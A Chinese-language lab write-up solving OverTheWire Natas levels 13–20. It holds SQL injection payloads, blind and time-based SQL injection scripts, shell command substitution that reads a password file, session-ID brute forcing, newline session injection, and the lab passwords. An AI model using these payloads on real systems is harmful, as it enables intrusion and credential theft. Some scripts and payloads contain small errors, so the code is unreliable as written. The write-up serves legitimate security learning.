natas solution(13-20)
Natas Level 12 → Level 13
Username: natas13
URL: http://natas13.natas.labs.overthewire.org
这一关和上一关非常相似,不同的在于
<?php
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
$err=$_FILES['uploadedfile']['error'];
if($err){
if($err === 2){
echo "The uploaded file exceeds MAX_FILE_SIZE";
} else{
echo "Something went wrong :/";
}
} else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
echo "File is not an image";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>
多了一个检查函数exif_imagetype
读取一个图像的第一个字节并检查其签名。
所以在上一关payload的基础上,在开头添加jpg
的签名即可,然后上传获得密码
Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
Natas Level 13 → Level 14
Username: natas14
URL: http://natas14.natas.labs.overthewire.org
这一关是一个简单的sql注入
<?
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas14', '<censored>');
mysql_select_db('natas14', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
if(mysql_num_rows(mysql_query($query, $link)) > 0) {
echo "Successful login! The password for natas15 is <censored><br>";
} else {
echo "Access denied!<br>";
}
mysql_close($link);
} else {
?>
根据源码的sql我们构造如下payload
Username | Password |
---|---|
1" or 1=1# | 1 |
这里需要注意的是--+
不起效果,所以注释用的#
密码到手
Successful login! The password for natas15 is AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
Natas Level 14 → Level 15
Username: natas15
URL: http://natas15.natas.labs.overthewire.org
这一关非常的耗时间,尽管是看wp不过得到了一些启发就是好的
进入界面后发现只是要你输入用户名,输入natas16告诉我们该用户存在,通过源码可以发现好像是没有手段能得出密码,像上一关那样
<?
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas15', '<censored>');
mysql_select_db('natas15', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
echo "This user exists.<br>";
} else {
echo "This user doesn't exist.<br>";
}
} else {
echo "Error in query.<br>";
}
mysql_close($link);
} else {}
?>
没有能得到密码的回显,所以我的思路转移到了密码枚举因为输入000" or 1=1#
得到的回显是This user exists.
这里参考了别人的wp但是根据自身的情况修改了,但是怎么说呢,总是有点奇奇怪怪的问题,不太敢保证在真实情况下能保持自信“我是对的”
在脚本之前,我们需要学习一个mysql的LIKE关键字(没有什么是比官方文档更好的了😀)
import requests
import time
url='http://natas15.natas.labs.overthewire.org/'
passchar='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXVZ1234567890'
bstr='This user exist'.encode('utf-8')
password=''
headers = {
'Authorization': 'xxxxx',
'Cookie': 'xxxxxxx',
}
print('go')
for i in range(32):
print(i)
for j in passchar:
time.sleep(1)
try:
poc = url+'?username=natas16%22+AND+password+LIKE+BINARY+%27' + password + j + "%25%27%23"
print(poc)
req = requests.get(poc,headers=headers)
req.encoding = req.apparent_encoding
except:
print("获取失败")
req.close()
if req.content.find(bstr) != -1:
password += j
print('Password: ' + password)
break
req.close()
之所以设置了time.sleep(1)
是因为一开始经常跑着跑着就停下来了,猜测是因为请求速度过快?但是后来即使不间隔1s也能跑,我反正是不懂为啥了。
跑完后的密码是
WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
Natas Level 15 → Level 16
Username: natas16
URL: http://natas16.natas.labs.overthewire.org
这一关和上一关做法非常的相似,但是题目却和之前的第10关很像,来看看源码吧。
Output:
<pre>
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&`\'"]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i \"$key\" dictionary.txt");
}
}
?>
</pre>
先看看这个正则,过滤掉了 ==; | & ` \ ’ "==而且在执行passthru时,我们输入还被双引号包含了,一开始我的思路是如何闭合掉这个双引号?经过短暂的思考显然是不能的,双引号已经被过滤掉了,所以没法用自己的双引号去闭合。而且被双引号包含后里面所有的字符都会被解释成字符串,感觉无计可施。
但是这里是Unix系统还有机会,那就是Command substitution
通过命令替换,我们可以实现在双引号中执行命令,非常巧妙的思路😋
我们试一下输入**$(grep a /etc/natas_webpass/natas17)**会发生什么?所有的单词被查了出来
那我们再试着输入**$(grep A /etc/natas_webpass/natas17)**同样缺没有发生,什么也没有输出
这是为什么呢?我在Ubuntu上用一个实验说明,首先准备一个1.txt
This is test1!
接下来是实验的脚本
#!/bin/sh
#在1.txt查找1
echo "grep 1 in 1.txt"
echo "$(grep 1 /home/highway/Desktop/1.txt)"
#在1.txt查找2
echo "grep 2 in 1.txt"
res2="$(grep 2 /home/highway/Desktop/1.txt)"
echo "$res2"
# res2是否是空字符串?
echo "if not found the result were equal the null string?"
if [ "$res2" = "" ];then
echo "yes,it equal"
else
echo "no,it not"
fi
echo "what's going happen?grep -i \"\" 1.txt"
echo "$(grep -i "" 1.txt)"
我们运行一下看看结果就明白了
highway@ubuntu:~/Desktop$ ./natas16.sh
grep 1 in 1.txt
This is test1!
grep 2 in 1.txt
if not found the result were equal the null string?
yes,it equal
what's going happen?grep -i "" 1.txt
This is test1!
为什么我们输入 $(grep a /etc/natas_webpass/natas17) 的结果是把所有单词输出呢?
对应的就是最后的
grep -i "" 1.txt
#Output: This is test1!
然后根据结果res2是空字符串,那是不是等于这个呢?
grep -i "$res2" 1.txt
grep -i "$(grep 2 /home/highway/Desktop/1.txt)" 1.txt
换句话来说 $(grep a /etc/natas_webpass/natas17) 得到的结果是一个空字符串,也就证明在 /etc/natas_webpass/natas17 中不存在字母a
而 $(grep A /etc/natas_webpass/natas17) 什么也没有输出,是因为在
/etc/natas_webpass/natas17存在字母A
我将继续用一个实验说明,额外准备一个2.txt
This is test2!
仔细琢磨
#!/bin/sh
echo "$(grep -i '$(grep 2 /home/highway/Desktop/2.txt)' 1.txt)"
echo "$(grep -i '$(grep 1 /home/highway/Desktop/2.txt)' 1.txt)"
#Output
#
#This is test1!
第一行输出为空就是因为在2.txt中有字符2而第二行把1.txt全部输出恰恰是因为在2.txt中没有字符1应该非常明了了吧?
那么接下来就是编写脚本枚举了,首先我们需要先把 /etc/natas_webpass/natas17 中存在的字符枚举出来,然后根据枚举出来的字典枚举密码。
import requests
def find_exist(url,exist):
for i in dictionary:
try:
r = requests.get(url + "?needle=$(grep " + i + " /etc/natas_webpass/natas17)Fridays")
except:
print("error")
r.close()
if r.content.find(boolString) != -1:
exist += i
print("exist:" + str(len(exist)) + "-->" + exist)
def find_pwd(url,exist,password):
for i in range(32):
for j in exist:
try:
r = requests.get(url + "?needle=$(grep ^" + password + j + " /etc/natas_webpass/natas17)Fridays")
except:
print("error")
r.close()
if r.content.find(boolString) != -1:
password += j
print("password: " + password + "*" * int(32-len(password)))
if __name__ == "__main__":
url = "http://natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh" \
"@" \
"natas16.natas.labs.overthewire.org/"
dictionary = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXVZ1234567890"
exist = ""
password = ""
boolString = "Output:\n<pre>\n</pre>\n\n".encode('utf-8')
find_exist(url,exist)
find_pwd(url,exist,password)
密码到手
8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
在枚举密码时用到了一个grep的正则符号^
Example 1. Beginning of line ( ^ )
In grep command, caret Symbol ^ matches the expression at the start of a line. In the following example, it displays all the line which starts with the Nov 10. i.e All the messages logged on November 10.
$ grep "^Nov 10" messages.1
Nov 10 01:12:55 gs123 ntpd[2241]: time reset +0.177479 s
Nov 10 01:17:17 gs123 ntpd[2241]: synchronized to LOCAL(0), stratum 10
Nov 10 01:18:49 gs123 ntpd[2241]: synchronized to 15.1.13.13, stratum 3
Nov 10 13:21:26 gs123 ntpd[2241]: time reset +0.146664 s
Nov 10 13:25:46 gs123 ntpd[2241]: synchronized to LOCAL(0), stratum 10
Nov 10 13:26:27 gs123 ntpd[2241]: synchronized to 15.1.13.13, stratum 3
The ^ matches the expression in the beginning of a line, only if it is the first character in a regular expression. ^N matches line beginning with N.
Natas Level 16 → Level 17
Username: natas17
URL: http://natas17.natas.labs.overthewire.org
这一关和上一关又非常类似,但是题目是第14关的变形来看看源码吧
<?
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas17', '<censored>');
mysql_select_db('natas17', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
//echo "This user exists.<br>";
} else {
//echo "This user doesn't exist.<br>";
}
} else {
//echo "Error in query.<br>";
}
mysql_close($link);
}
?>
区别在于3个回显都被注释掉了,第一反应就是Time-Based Blind SQL Inject那么思路就很清晰了,但是在跑脚本的时候耗费了不少的时间,因为一开始的sleep(5)
不管是在web还是在burp中都非常快速,但是在python脚本中却不是这样的,导致我以为代码出现了问题找了很久。只能说经验很少。
经验收获
上面也提到了5s的时间盲注不论在web应用还是burp都没有任何问题,但是用python脚本从发送到收到回应却可能超过短短的5s导致跑出错误的密码。我调过10s甚至是20s都有可能跑出错误的代码,最后调到30s才跑出来,所以根据实际情况自动化脚本时间盲注可能需要睡更长的时间。
尽管大多数的回应都在5s以内,但是只要出现一个错误的response超过时间就会导致前功尽弃。
import requests
def find_exist(url,dictionary,exist):
for i in dictionary:
inject="natas18\" AND IF(password LIKE BINARY '%" + i + "%',sleep(30),null)#"
try:
r = requests.post(url,headers=headers,data={"username":inject})
if r.elapsed.seconds >= 30:
exist += i
print('Using: ' + exist)
except:
r.close()
def find_pwd(url,exist,password):
for i in range(32):
for j in exist:
inject = "natas18\" AND IF(password LIKE BINARY '" + password + j + "%',sleep(30),null)#"
try:
r = requests.post(url, headers=headers, data={"username": inject})
print(r.elapsed)
if r.elapsed.seconds >= 30:
password += j
print('Password: ' + password + '*' * int(32 - len(password)))
break
except:
r.close()
if __name__ == '__main__':
dictionary = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
exist = ''
password = ''
url = 'http://natas17.natas.labs.overthewire.org/'
headers = {
"Authorization": "xxxxxxxxxxxxxxxxxxxx",
"Cookie": "xxxxxxxxxxxxxxxxxxxx"
}
print('All characters used. Starting brute force... Grab a coffee, might take a while!')
find_pwd(url,exist,password)
print('Completed!')
跑完后的代码如下
xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
Natas Level 17 → Level 18
Username: natas18
URL: http://natas18.natas.labs.overthewire.org
最近的关卡好像都要写脚本跑呢😥
这一关先看看源码说的是啥
<?
$maxid = 640; // 640 should be enough for everyone
function isValidAdminLogin() { /* {{{ */
if($_REQUEST["username"] == "admin") {
/* This method of authentication appears to be unsafe and has been disabled for now. */
//return 1;
}
return 0;
}
/* }}} */
function isValidID($id) { /* {{{ */
return is_numeric($id);
}
/* }}} */
function createID($user) { /* {{{ */
global $maxid;
return rand(1, $maxid);
}
/* }}} */
function debug($msg) { /* {{{ */
if(array_key_exists("debug", $_GET)) {
print "DEBUG: $msg<br>";
}
}
/* }}} */
function my_session_start() { /* {{{ */
if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
if(!session_start()) {
debug("Session start failed");
return false;
} else {
debug("Session start ok");
if(!array_key_exists("admin", $_SESSION)) {
debug("Session was old: admin flag set");
$_SESSION["admin"] = 0; // backwards compatible, secure
}
return true;
}
}
return false;
}
/* }}} */
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas19\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
}
}
/* }}} */
$showform = true;
if(my_session_start()) {
print_credentials();
$showform = false;
} else {
if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
session_id(createID($_REQUEST["username"]));
session_start();
$_SESSION["admin"] = isValidAdminLogin();
debug("New session started");
$showform = false;
print_credentials();
}
}
if($showform) {
?>
<p>
Please login with your admin account to retrieve credentials for natas19.
</p>
<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<? } ?>
一开始我没有分明白cookie和session的区别虽然之前看了很多。
简单来说cookie是我们能控制的,比如添加删除修改属性;而session则不能,因为session是由服务器管理的。
这篇wp写的非常好,我就直接放上来好了NATAS LEVEL 18 → LEVEL 19可能现在的natas少了一关吧,所以这些老的wp关卡数都要往后推一关。
看完后,其实我们就知道了关键是这里
function my_session_start() {
if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
if(!session_start()) {
debug("Session start failed");
return false;
} else {
debug("Session start ok");
if(!array_key_exists("admin", $_SESSION)) {
debug("Session was old: admin flag set");
$_SESSION["admin"] = 0; // backwards compatible, secure
}
return true;
}
}
return false;
}
首先检查是否有PHPSESSID
- 有PHPSESSID的话就检查session是否开启,如果没有开启就退出,如果开启就检查
$_SESSION
是否有admin- 有admin就返回true
- 没有admin就添加admin属性并置为0
- 没有就直接退出
我们再看看这里
$showform = true;
if(my_session_start()) {
print_credentials();
$showform = false;
} else {
if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
session_id(createID($_REQUEST["username"]));
session_start();
$_SESSION["admin"] = isValidAdminLogin();
debug("New session started");
$showform = false;
print_credentials();
}
}
这里有一点点绕,我在这里就迷失了。说白了就是我们的session需要有admin属性。那么问题来了,什么样的session才有呢?根据
session_id(createID($_REQUEST["username"]));
function createID($user) { /* {{{ */
global $maxid;
return rand(1, $maxid);
}
猜测可以看到这个createID
根本就没用到user嘛,只是随机的选取一个数字作为session_id这个东西可能跟 $_COOKIE["PHPSESSID"]
有关。编写python脚本
import requests
import re
maxid = 641
url = "http://natas18.natas.labs.overthewire.org"
user = "natas18"
passwd = "xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP"
match = "You are an admin. The credentials for the next level are:"
for i in range(maxid):
cookie = dict(PHPSESSID=str(i))
r = requests.get(url, auth=(user, passwd), cookies=cookie)
if match in str(r.content):
print(re.findall(r'password.*?<.*?>', r.text, flags=re.IGNORECASE))
break
跑完后匹配的结果为
['Password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs</pre>']
re库
这里新学习了re如何设置忽略大小写匹配,当然还有其他的flag可以设置
Natas Level 18 → Level 19
Username: natas19
URL: http://natas19.natas.labs.overthewire.org
这一关只能说非常奇思妙想,尤其是我的抓包的cookie还很怪,要response才能看到PHPSESSION 。
进去看到提示说代码跟上一关完全一样,但是这回的PHPSESSION不是连续的了。事实上确实不是,但是又不完全对。然而这句话让我直接以为变成随机发session_id了。
我直接说了,反正我没想出来。通过实验发现PHPSESSION存在一定的规律
username | password | PHPSESSID |
---|---|---|
123 | 372d313233 | |
124 | 3434382d313234 | |
125 | 32322d313235 | |
125 | 3239352d313235 |
可以看到一个有意思的现象,每个PHPSESSION都有2d
而且发现这几个连号只在最后一位不同,而且同号2d
后的数字完全一样。有意思。
接下来自然是解密环节,那么这一串像啥呢?比较像hex格式用burp的解码模块选择ASCII TEXT
看看
3239352d313235
295-125
可以猜测是由PHPSEEION-username
的形式通过转换成hex作为session_id的,所以编写脚本
import requests
import re
maxid = 641
url = "http://natas19.natas.labs.overthewire.org"
user = "natas19"
passwd = "4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs"
match = "You are an admin. The credentials for the next level are:"
for i in range(maxid):
cookie = dict(PHPSESSID=(str(i)+'-admin').encode('utf-8').hex())
r = requests.get(url, auth=(user, passwd), cookies=cookie)
if match in str(r.content):
print("PHPSESSION: " + str(i))
print(re.findall(r'password.*?<.*?>', r.text, flags=re.IGNORECASE))
break
耐心等待,密码到手
PHPSESSION: 281
['Password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF</pre>']
Natas Level 19 → Level 20
Username: natas20
URL: http://natas20.natas.labs.overthewire.org
这一关非常的奇怪,我就成功复现了一次,之后就一直失败。
总之先看源码
<?
function debug($msg) {
if(array_key_exists("debug", $_GET)) {
print "DEBUG: $msg<br>";
}
}
function print_credentials() {
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas21\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
}
}
/* we don't need this */
function myopen($path, $name) {
//debug("MYOPEN $path $name");
return true;
}
/* we don't need this */
function myclose() {
//debug("MYCLOSE");
return true;
}
function myread($sid) {
debug("MYREAD $sid");
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
debug("Invalid SID");
return "";
}
$filename = session_save_path() . "/" . "mysess_" . $sid;
if(!file_exists($filename)) {
debug("Session file doesn't exist");
return "";
}
debug("Reading from ". $filename);
$data = file_get_contents($filename);
$_SESSION = array();
foreach(explode("\n", $data) as $line) {
debug("Read [$line]");
$parts = explode(" ", $line, 2);
if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
}
return session_encode();
}
function mywrite($sid, $data) {
// $data contains the serialized version of $_SESSION
// but our encoding is better
debug("MYWRITE $sid $data");
// make sure the sid is alnum only!!
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
debug("Invalid SID");
return;
}
$filename = session_save_path() . "/" . "mysess_" . $sid;
$data = "";
debug("Saving in ". $filename);
ksort($_SESSION);
foreach($_SESSION as $key => $value) {
debug("$key => $value");
$data .= "$key $value\n";
}
file_put_contents($filename, $data);
chmod($filename, 0600);
}
/* we don't need this */
function mydestroy($sid) {
//debug("MYDESTROY $sid");
return true;
}
/* we don't need this */
function mygarbage($t) {
//debug("MYGARBAGE $t");
return true;
}
session_set_save_handler(
"myopen",
"myclose",
"myread",
"mywrite",
"mydestroy",
"mygarbage");
session_start();
if(array_key_exists("name", $_REQUEST)) {
$_SESSION["name"] = $_REQUEST["name"];
debug("Name set to " . $_REQUEST["name"]);
}
print_credentials();
$name = "";
if(array_key_exists("name", $_SESSION)) {
$name = $_SESSION["name"];
}
?>
这里先了解一下session_set_save_handler了解完后很明显我们需要关注的是
function myread($sid) {
debug("MYREAD $sid");
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
debug("Invalid SID");
return "";
}
$filename = session_save_path() . "/" . "mysess_" . $sid;
if(!file_exists($filename)) {
debug("Session file doesn't exist");
return "";
}
debug("Reading from ". $filename);
$data = file_get_contents($filename);
$_SESSION = array();
foreach(explode("\n", $data) as $line) {
debug("Read [$line]");
$parts = explode(" ", $line, 2);
if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
}
return session_encode();
}
function mywrite($sid, $data) {
// $data contains the serialized version of $_SESSION
// but our encoding is better
debug("MYWRITE $sid $data");
// make sure the sid is alnum only!!
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
debug("Invalid SID");
return;
}
$filename = session_save_path() . "/" . "mysess_" . $sid;
$data = "";
debug("Saving in ". $filename);
ksort($_SESSION);
foreach($_SESSION as $key => $value) {
debug("$key => $value");
$data .= "$key $value\n";
}
file_put_contents($filename, $data);
chmod($filename, 0600);
}
最开始的if只是判断sid是否合法strspn
主要关注这里
foreach($_SESSION as $key => $value) {
debug("$key => $value");
$data .= "$key $value\n";
}
file_put_contents($filename, $data);
chmod($filename, 0600);
可以看到数据会以键值对并以\n
结尾写入文件中类似于这样
key1 value1\n
key2 value2\n
然后我们再看看myread
$data = file_get_contents($filename);
$_SESSION = array();
foreach(explode("\n", $data) as $line) {
debug("Read [$line]");
$parts = explode(" ", $line, 2);
if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
}
从文件里读取键值对以\n
进行分割explode给 $_SESSION
赋值
然后看看怎么样得到密码
function print_credentials() {
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas21\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
}
}
也就是说$_SESSION["admin"] == 1
就可以了,这涉及到注入。我们输入
admin\ndamin 1
通过POST被接收然后写入文件是这样的
key1 value1\n
key2 value2\n
name admin\ndamin 1\n
被myread
读取,因为是以\n
来分割,所以会被分割出一对admin:1
出来,注入完成。
但是我不怎么能够复现,只成功了一次。可能不一定百分百注入成功吧。
Username: natas21
Password: IFekPyrQXftziDEsUr3x21sYuahypdgJ